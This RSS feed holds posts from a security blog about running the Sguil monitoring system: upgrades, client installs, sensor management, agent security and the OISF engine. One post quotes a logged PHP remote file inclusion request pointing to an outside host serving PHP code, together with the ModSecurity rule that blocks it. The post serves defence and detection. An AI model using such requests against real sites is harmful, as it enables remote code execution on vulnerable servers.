<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Inliniac &#187; Sguil</title>
	<atom:link href="http://www.inliniac.net/blog/tag/sguil/feed" rel="self" type="application/rss+xml" />
	<link>http://www.inliniac.net/blog</link>
	<description>Everything inline.</description>
	<lastBuildDate>Wed, 11 Jan 2012 19:09:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Upgrading Sguil 0.7.0 to 0.8.0 from CVS</title>
		<link>http://www.inliniac.net/blog/2011/06/17/upgrading-sguil-0-7-0-to-0-8-0-from-cvs.html</link>
		<comments>http://www.inliniac.net/blog/2011/06/17/upgrading-sguil-0-7-0-to-0-8-0-from-cvs.html#comments</comments>
		<pubDate>Fri, 17 Jun 2011 07:15:14 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Sguil]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/?p=435</guid>
		<description><![CDATA[Sguil 0.8.0 was recently released, so it was time for an upgrade. Since I remembered the last major upgrade to be quite a bit of work I wasn&#8217;t looking forward to the new upgrade. However, to my surprise it was a breeze. Here is what I did. On my Sguild server called &#8220;owl&#8221; &#8212; I&#8217;d [...]]]></description>
			<content:encoded><![CDATA[<p>Sguil 0.8.0 was recently released, so it was time for an upgrade. Since I remembered the last major upgrade to be quite a bit of work I wasn&#8217;t looking forward to the new upgrade. However, to my surprise it was a breeze. Here is what I did.</p>
<p>On my Sguild server called &#8220;owl&#8221; &#8212; I&#8217;d like to think it&#8217;s very wise &#8212; I first went to my sguil directory, where the CVS checkout lives. There I did a &#8220;cvs up&#8221;. Next it was time to upgrade the database:</p>
<blockquote><p>
owl:/usr/local/sguil/server/sql_scripts# <strong>./update_0.8.tcl</strong><br />
This script is used for upgrading from Sguil Version 0.7.x<br />
to Sguil Version 0.8.x only.</p>
<p>Use these scripts at your own risk. Be sure to back<br />
up your data before proceeding!!<br />
Do you want to continue? (y/N) <strong>y</strong><br />
Database password: <strong>***</strong><br />
Enter path to sguild.users file: <strong>/etc/sguild/sguild.users</strong><br />
Connecting to database&#8230;Success.<br />
Trying to use database sguildb&#8230;Success.<br />
Sguild DB Versions: 0.13<br />
Migrating your password file (/etc/sguild/sguild.users) to the database:<br />
    Updating user name sanc<br />
    Updating user name victor<br />
Success.</p>
<p>** Finished. The DB has been upgraded. **</p>
<p>owl:/usr/local/sguil/server/sql_scripts#
</p></blockquote>
<p>After this I started the sguild process and it came up just fine. Next I did &#8220;cvs up&#8221; on all sensors, restarted the agents. A final &#8220;cvs up&#8221; on my desktop and sguil.tk was updated as well.</p>
<p>The total upgrade took me only a few minutes and I&#8217;ve not encountered any regressions. Impressive work by Bamm and his team!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2011/06/17/upgrading-sguil-0-7-0-to-0-8-0-from-cvs.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OISF engine development update(2)</title>
		<link>http://www.inliniac.net/blog/2009/09/30/oisf-engine-development-update2.html</link>
		<comments>http://www.inliniac.net/blog/2009/09/30/oisf-engine-development-update2.html#comments</comments>
		<pubDate>Wed, 30 Sep 2009 18:30:37 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[oisf]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[ModSecurity]]></category>
		<category><![CDATA[pfring]]></category>
		<category><![CDATA[Sguil]]></category>
		<category><![CDATA[yaml]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/?p=289</guid>
		<description><![CDATA[Another quick update on the development of the OISF engine. Overall development is going great. Basics like signature keywords, stream reassembly, ip defragmentation are nearing completion. Unified1 + barnyard was already working for quite some time, but now we also have unified2 compatible output. I&#8217;ve tested this to work with barnyard2 and Sguil which works [...]]]></description>
			<content:encoded><![CDATA[<p>Another quick update on the development of the OISF engine. Overall development is going great. Basics like signature keywords, stream reassembly, ip defragmentation are nearing completion. Unified1 + barnyard was already working for quite some time, but now we also have unified2 compatible output. I&#8217;ve tested this to work with barnyard2 and Sguil which works nicely.</p>
<p>We have the first versions of our new YAML based configuration format checked in, a brand new logging API, midstream pickup support in our Stream engine, native PFRING support and many other additions.</p>
<p>Next up in development is IP reputation support in the engine, support for advanced vars and more L7 modules.</p>
<p>The IP reputation is one of the things we have high expectation about. In working group discussions we defined 16 categories for which to keep reputation, for example: spammer, cnc, p2p, etc. We&#8217;re currently designing the datatypes for holding as much of this info in memory as possible.</p>
<p>The advanced vars is the idea of applying ModSecurity&#8217;s var collections to our engine. They will be like Snort&#8217;s flowbits, but then more advanced. At least 2 more types will be supported: integers and raw buffers. Integers should enable signatures to modify counters, but also compare various counters with each other.</p>
<p>In the L7 modules development we&#8217;re putting a big focus on HTTP (more on that later). We&#8217;re also currently working on a DCE/RPC decoder. For this work we hired Kirby Kuehl from Breaking Point. The L7 framework I&#8217;m still working on should make development of modules for new protocols fairly straightforward.</p>
<p>We expect to announce the name and mascot of our engine soon. Also our bylaws should also finally been done almost now, just as the consortium license. Once thats all into place, we expect to open up our code to the public quite soon. Exciting times!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2009/09/30/oisf-engine-development-update2.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Extracting bad url&#8217;s from ModSecurity events in Sguil</title>
		<link>http://www.inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil.html</link>
		<comments>http://www.inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil.html#comments</comments>
		<pubDate>Wed, 14 Jan 2009 23:53:08 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Modsec2sguil]]></category>
		<category><![CDATA[ModSecurity]]></category>
		<category><![CDATA[Sguil]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/?p=220</guid>
		<description><![CDATA[Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this: GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1 Notice the trailing questionmarks? Turns out these are always present, so [...]]]></description>
			<content:encoded><![CDATA[<p>Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this:</p>
<blockquote>
<p style="text-align: left;">GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1</p>
</blockquote>
<p>Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I&#8217;m doing that for a long time now, never seen a single false positive. The rule looks like this:</p>
<blockquote>
<p style="text-align: left;">SecRule ARGS:/.*/ &#8220;https?.*\?$&#8221; &#8220;msg:&#8217;LOCAL PHP ? link code inclusion attempt&#8217;,severity:1,phase:1&#8243;</p>
</blockquote>
<p>This rule looks at all request args, and checks if their value contains http or https and if it ends with a questionmark. If so, the request is blocked.</p>
<p>Today I was thinking that the URI&#8217;s that are included probably contain some badness, and it would be interesting to look what all the URI&#8217;s are. Using <a href="http://www.inliniac.net/modsec2sguil/">modsec2sguil</a> I&#8217;m adding all ModSecurity events to Sguil, so this was going to be an interesting MySQL challenge!</p>
<p>The query I came up with is this:</p>
<blockquote>
<p style="text-align: left;">SELECT COUNT(*) AS cnt, INET_NTOA(src_ip) AS &#8220;Source IP&#8221;, trim(LEADING &#8220;=&#8221; FROM substring_index(substr(unhex(data_payload),locate(&#8216;=http&#8217;,unhex(data_payload))), &#8216;\?&#8217;, 1)) AS url FROM event INNER JOIN data ON event.sid = data.sid and event.cid = data.cid WHERE (timestamp &gt;= &#8217;2009-01-13&#8242; AND signature LIKE &#8220;MSc 403 LOCAL PHP \?%&#8221;) GROUP BY src_ip,url ORDER BY cnt DESC LIMIT 10;</p>
</blockquote>
<p>The result is here (<a href="http://www.inliniac.net/blog/wp-content/uploads/2009/01/20090115-msc-sguil-uri-full.png">click here for full picture</a>):</p>
<p><img class="alignnone size-full wp-image-223" title="Bad uri's from Sguil" src="http://www.inliniac.net/blog/wp-content/uploads/2009/01/20090115-msc-sguil-uri.png" alt="Bad uri's from Sguil" width="483" height="230" /></p>
<p>I get about 10 url&#8217;s like this a day, usually they are tried more than once. So what is at these links? The first one gave a 404, so let&#8217;s look at the second one. It&#8217;s a jpg, thats a picture right? Wrong!</p>
<p>I downloaded the file and opened it in vim. As you can see in this fragment, this is php code&#8230;</p>
<p><img class="alignnone size-full wp-image-225" title="Bad uri code" src="http://www.inliniac.net/blog/wp-content/uploads/2009/01/20090115-msc-sguil-code.png" alt="Bad uri code" width="307" height="278" /></p>
<p>Anyone know if there is some place I can report these url&#8217;s to on a daily/weekly basis?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>SidReporter beta2 released</title>
		<link>http://www.inliniac.net/blog/2008/08/21/sidreporter-beta2-released.html</link>
		<comments>http://www.inliniac.net/blog/2008/08/21/sidreporter-beta2-released.html#comments</comments>
		<pubDate>Thu, 21 Aug 2008 15:08:42 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Sguil]]></category>
		<category><![CDATA[SidReporter]]></category>
		<category><![CDATA[Emerging Threats]]></category>
		<category><![CDATA[Matt Jonkman]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/?p=147</guid>
		<description><![CDATA[A little over a week ago the second beta of the SidReporter from Emerging Threats was released (see http://www.emergingthreats.net/content/view/95/1/). I&#8217;ve been working with Matt Jonkman to setup this new project at Emerging Threats, mostly in writing the reporter scripts. I think it&#8217;s an exciting new project that could provide the community with great information. As [...]]]></description>
			<content:encoded><![CDATA[<p>A little over a week ago the second beta of the SidReporter from <a href="http://www.emergingthreats.net/">Emerging Threats</a> was released (see <a href="http://www.emergingthreats.net/content/view/95/1/">http://www.emergingthreats.net/content/view/95/1/</a>). I&#8217;ve been working with Matt Jonkman to setup this new project at Emerging Threats, mostly in writing the reporter scripts. I think it&#8217;s an exciting new project that could provide the community with great information. As Matt <a href="http://www.emergingthreats.net/content/view/93/1/">wrote</a> on the initial announcement:</p>
<blockquote><p>&#8220;As mentioned a few weeks ago, we&#8217;ve been working to bring out tool to anonymously report IDS/IPS hits. Similar to DShield&#8217;s firewall log reporting, we believe we can make some incredible data inferences with this information, as well as help improve the quality of our signatures while giving us all feedback to tune our rulesets.</p>
<p>But that&#8217;s just the start. As with DShield&#8217;s data, I think we&#8217;ll run into benefits to the community that we can&#8217;t even imagine until we start to look at the data.&#8221;</p></blockquote>
<p>The next step for the reporter is adding support for getting the events from Sguil. Expect to see that soon!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2008/08/21/sidreporter-beta2-released.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update to Modsec2sguil</title>
		<link>http://www.inliniac.net/blog/2008/03/26/update-to-modsec2sguil.html</link>
		<comments>http://www.inliniac.net/blog/2008/03/26/update-to-modsec2sguil.html#comments</comments>
		<pubDate>Wed, 26 Mar 2008 12:57:13 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Modsec2sguil]]></category>
		<category><![CDATA[ModSecurity]]></category>
		<category><![CDATA[Sguil]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/2008/03/26/update-to-modsec2sguil.html</guid>
		<description><![CDATA[Yesterday the much anticipated Sguil 0.7.0 final was released, as was announced here. I&#8217;ve updated Modsec2sguil to support it. Next to this Ryan Cummings sent me a patch for supporting ModSecurity 2.5. So that is included as well. I haven&#8217;t given it much testing yet, but works on my boxes. Get the new release here: [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday the much anticipated Sguil 0.7.0 final was released, as was announced <a href="http://sguil.sourceforge.net/news.html" target="_blank">here</a>. I&#8217;ve updated Modsec2sguil to support it. Next to this Ryan Cummings sent me a patch for supporting ModSecurity 2.5. So that is included as well. I haven&#8217;t given it much testing yet, but works on my boxes.</p>
<p>Get the new release here: <a href="http://www.inliniac.net/modsec2sguil/" target="_blank">http://www.inliniac.net/modsec2sguil/</a></p>
<p>Thank you Ryan for your contribution!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2008/03/26/update-to-modsec2sguil.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deactivating a group of sensors in Sguil 0.7.0-CVS</title>
		<link>http://www.inliniac.net/blog/2007/11/14/deactivating-a-group-of-sensors-in-sguil-070-cvs.html</link>
		<comments>http://www.inliniac.net/blog/2007/11/14/deactivating-a-group-of-sensors-in-sguil-070-cvs.html#comments</comments>
		<pubDate>Wed, 14 Nov 2007 20:25:20 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Sguil]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/2007/11/14/deactivating-a-group-of-sensors-in-sguil-070-cvs.html</guid>
		<description><![CDATA[Recently a site I was using for my Vuurmuur project became unavailable to me. I had two sensors in that site, one Modsec2sguil sensor and a Snort sensor. Since it became unavailable to me, the sensors were all offline and will stay that way. So I wanted to hide them in Sguil, including the net_name [...]]]></description>
			<content:encoded><![CDATA[<p>Recently a site I was using for my Vuurmuur project became unavailable to me. I had two sensors in that site, one Modsec2sguil sensor and a Snort sensor. Since it became unavailable to me, the sensors were all offline and will stay that way. So I wanted to hide them in Sguil, including the net_name group they belonged to, called &#8216;utrecht&#8217;.</p>
<p>Doing this turned out to be quite simple. The sensors have their own table in the database and one of the fields for a sensor is called &#8216;active&#8217;. I figured deactivating the sensors would do it. Deactivating all sensors from the net_name group &#8216;utrecht&#8217; is done like this:</p>
<blockquote><p>mysql&gt; UPDATE sensor SET active=&#8221;N&#8221; WHERE net_name=&#8221;utrecht&#8221;;</p></blockquote>
<p>After this, the net_name &#8216;utrecht&#8217; disappeared from the Sguil client &#8216;Select Network(s) to Monitor&#8217; screen. However, the &#8216;Agent Status&#8217; tab in the Sguil client still showed the deactivated agents. This was solved by restarting the Sguil server. So now my &#8216;Agent Status&#8217; list is clean again!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2007/11/14/deactivating-a-group-of-sensors-in-sguil-070-cvs.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sguil 0.7.0 CVS client on HeX 1.0.1</title>
		<link>http://www.inliniac.net/blog/2007/11/01/sguil-070-cvs-client-on-hex-101.html</link>
		<comments>http://www.inliniac.net/blog/2007/11/01/sguil-070-cvs-client-on-hex-101.html#comments</comments>
		<pubDate>Thu, 01 Nov 2007 10:25:43 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[HeX]]></category>
		<category><![CDATA[Sguil]]></category>
		<category><![CDATA[cvs]]></category>
		<category><![CDATA[live-cd]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/2007/11/01/sguil-070-cvs-client-on-hex-101.html</guid>
		<description><![CDATA[The last few days I&#8217;ve been playing with the HeX live-cd. It boots fine on my Lenovo T60 laptop. So after about a minute a nice graphical interface awaits me. I really love the artwork of this project. There are many security tools installed, including the Sguil client. This is the 0.6.1 version however. As [...]]]></description>
			<content:encoded><![CDATA[<p>The last few days I&#8217;ve been playing with the <a href="http://www.rawpacket.org/projects/hex-livecd" target="_blank">HeX live-cd</a>. It boots fine on my Lenovo T60 laptop. So after about a minute a nice graphical interface awaits me. I really love the artwork of this project.</p>
<p>There are many security tools installed, including the Sguil client. This is the 0.6.1 version however. As I have written before, I&#8217;m running 0.7.0 CVS here, so I needed the 0.7.0 CVS client. Luckily, it&#8217;s easy to install.</p>
<blockquote>
<p align="left">^^analyzt@raWPacket ~ -&gt;<br />
[HeX]$ cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil  login<br />
Logging in to :pserver:anonymous@sguil.cvs.sourceforge.net:2401/cvsroot/sguil<br />
CVS password:<br />
cvs login: warning: failed to open /home/analyzt/.cvspass for reading: No such file or directory<br />
^^analyzt@raWPacket ~ -&gt;<br />
[HeX]$ cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil co sguil<br />
cvs checkout: Updating sguil<br />
U sguil/README<br />
&#8230;<br />
U sguil/web/lib/geoip.inc<br />
^^analyzt@raWPacket ~ -&gt;<br />
[HeX]$</p></blockquote>
<p>Before starting the client, remove the sguil.conf in /home/analyzt/, or change the SGUILLIB setting in it. It took me quite some time and help to figure this out. Many thanks to Bamm Visscher and David Bianco! One last thing before starting the client. Remove the /home/analyzt/.sguilrc. If I didn&#8217;t I got an error when logging in: &#8220;unable to write preferences to /home/analyzt/.sguilrc&#8221;. The fonts also looked very ugly and trying to change the font resulted in an error as well.</p>
<p>When starting the client, enterering sguil/client and issuing a ./sguil.tk doesn&#8217;t work:</p>
<blockquote><p> ^^analyzt@raWPacket ~ -&gt;<br />
[HeX]$ ./sguil.tk<br />
exec: wish: not found<br />
^^analyzt@raWPacket ~ -&gt;<br />
[HeX]$</p></blockquote>
<p>The solution to this is simple, just explicity call sguil.tk with the installed wish:</p>
<blockquote><p>^^analyzt@raWPacket ~ -&gt;<br />
[HeX]$ /usr/local/bin/wish8.4 sguil.tk</p></blockquote>
<p>Then it works. Next I will try to somehow make sure it can survive a reboot and figure out how to enable the wireless lan.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2007/11/01/sguil-070-cvs-client-on-hex-101.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sguil 0.7-CVS client on Ubuntu Gutsy</title>
		<link>http://www.inliniac.net/blog/2007/10/30/sguil-07-cvs-client-on-ubuntu-gutsy.html</link>
		<comments>http://www.inliniac.net/blog/2007/10/30/sguil-07-cvs-client-on-ubuntu-gutsy.html#comments</comments>
		<pubDate>Tue, 30 Oct 2007 16:11:29 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Sguil]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[gutsy]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/2007/10/30/sguil-07-cvs-client-on-ubuntu-gutsy.html</guid>
		<description><![CDATA[Last week I installed Ubuntu Gutsy on my laptop. I did a clean install, which went fine. Of course, I needed the Sguil client on it as well. Gutsy has all the required libraries in it&#8217;s repositories. Install the following packages: tcl8.4 tclx8.4 tcllib tk8.4 iwidgets4 Checking out the Sguil client is easy (make sure [...]]]></description>
			<content:encoded><![CDATA[<p>Last week I installed Ubuntu Gutsy on my laptop. I did a clean install, which went fine. Of course, I needed the Sguil client on it as well. Gutsy has all the required libraries in it&#8217;s repositories. Install the following packages:</p>
<blockquote><p>tcl8.4<br />
tclx8.4<br />
tcllib<br />
tk8.4<br />
iwidgets4</p></blockquote>
<p>Checking out the Sguil client is easy (make sure you have &#8216;cvs&#8217; installed):</p>
<blockquote><p> cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil login<br />
cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil co sguil</p></blockquote>
<p>After this the client runs fine on my system.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2007/10/30/sguil-07-cvs-client-on-ubuntu-gutsy.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Follow up on Sguil securtiy</title>
		<link>http://www.inliniac.net/blog/2007/08/24/follow-up-on-sguil-securtiy.html</link>
		<comments>http://www.inliniac.net/blog/2007/08/24/follow-up-on-sguil-securtiy.html#comments</comments>
		<pubDate>Fri, 24 Aug 2007 16:26:47 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Sguil]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/2007/08/24/follow-up-on-sguil-securtiy.html</guid>
		<description><![CDATA[In the discussion about my post about Sguil security there have been a number of ideas and general thoughts. I&#8217;d like to write about them here to we can further discuss them. There seems to be consensus on that when a sensors is rooted, there is nothing we can do to prevent injection of bogus [...]]]></description>
			<content:encoded><![CDATA[<p>In the discussion about my post about Sguil security there have been a number of ideas and general thoughts. I&#8217;d like to write about them here to we can further discuss them. There seems to be consensus on that when a sensors is rooted, there is nothing we can do to prevent injection of bogus data as long as it isn&#8217;t malformed.</p>
<p>Having the agent authenticate itself is a solution, but it relies on the agent credentials to remain secret. So when a webserver is rooted the attacker will have access to the credentials as they will be stored on the webserver itself. So this approach does provide an extra layer of defense but local roots aren&#8217;t uncommon, so it remains risky. It may still be worth the effort though.</p>
<p>One idea that came up was a proxy, in two forms. A Sguil proxy filtering the Sguil agent-server protocol is one of them. This would be positioned between the Sguil server and the agent to prevent the attacker going after the server directly. The proxy would be able to filter on the communications and could maybe trottle the rate of events to protect agains DoSsing the server. Maybe it could also block an agent completely is it&#8217;s sending malformed commands. Such a proxy could be positioned on the border of a monitored and management network.</p>
<p>David Bianco suggested a different proxy-like setup in which the actual sensor would receive the raw data over the network in some (secure) way from the webserver. This way the sensor talking to the Sguil server wouldn&#8217;t have run on the webserver. I think this is a good idea for the webservers. It does add complexity, because there will have to be some form of communications between the sensor and the webserver. At the same time this could simplify things as a single sensor box can deal with multiple webservers. In this case the credentials of the agent won&#8217;t be stored at the webserver, which is another plus. With this idea, much relies on how the webserver-sensor communications would be implemented.</p>
<p>Both ideas won&#8217;t be able to prevent an attacker owning the webserver to insert bogus data. Also in both cases the proxy can and probably will get a target itself.</p>
<p>Even though the risk increases with agents running on webserver, it also exists on other types of sensors. If a hole is found in Snort, Snort_inline, Sancp or other tools Sguil uses, the effects could be the same.</p>
<p>More ideas and suggestions are welcome!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2007/08/24/follow-up-on-sguil-securtiy.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thoughts on Sguil security</title>
		<link>http://www.inliniac.net/blog/2007/08/24/thoughts-on-sguil-security.html</link>
		<comments>http://www.inliniac.net/blog/2007/08/24/thoughts-on-sguil-security.html#comments</comments>
		<pubDate>Thu, 23 Aug 2007 22:25:26 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[Sguil]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/2007/08/24/thoughts-on-sguil-security.html</guid>
		<description><![CDATA[Sguil is build using a server and sensors. Traditionally the sensors are passive monitoring agents running Snort and a few other tools. Best practice was (and still is) to separate the management network of these sensors and server from the monitored network(s). This way it would be fairly hard for an attacker to get a [...]]]></description>
			<content:encoded><![CDATA[<p>Sguil is build using a server and sensors. Traditionally the sensors are passive monitoring agents running Snort and a few other tools. Best practice was (and still is) to separate the management network of these sensors and server from the monitored network(s). This way it would be fairly hard for an attacker to get a shot at the Sguil server.</p>
<p>Sguil of course, would be a extremely interesting target for hackers. It contains so much info about the monitored network. Also, it has realtime access to all network traffic. A hacker may also be interested in shutting Sguil down to avoid detection.</p>
<p>Securing Sguil is therefore very important. Sguil has a number of defenses. It separates agent and client access so an agent cannot issue commands a client only should issue. The clients need to authenticate to the server and Sguil provides the option to do both the agent-server and the client-server communications over SSL. Finally Sguil also has the option to only allow certain ipaddresses to connect. This can be set both for agents and clients separately.</p>
<p>With my Modsec2sguil agent, a part of these defenses go overboard. Modsec2sguil is likely to be run on webservers directly, and therefore the separation of a monitored network and a management network is no longer possible. Webservers tend to get hacked a lot more often than IDS systems, so this is an additional risk. A user getting access to the webserver is able to see that there is a Sguil agent active and will be able to connect to the Sguil server directly.</p>
<p>When all security of Sguil is in place the only thing this attacker will be able to do is act as an agent to Sguil. No authentication is required (or possible). The risk here is that the attacker can send bogus events to flood the analyst and Sguil itself. Possibly even DoSsing the server. By sending malformed data, the attacker could also try to crash the server.</p>
<p>So what can be done about it? Well I really can&#8217;t think of much other than to add authentication for agents in addition to the clients. This would provide an extra hurdle for the attacker because he has to get the right credentials. However, these credentials will have to be in the agent configuration on the sensor, so if the attacker manages to escalate his privileges he will get access to the credentials and this defense will fail. Still, it&#8217;s another layer of defense, so I think it&#8217;s better than nothing.</p>
<p>I&#8217;m very much interested in hearing other opinions about this!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2007/08/24/thoughts-on-sguil-security.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

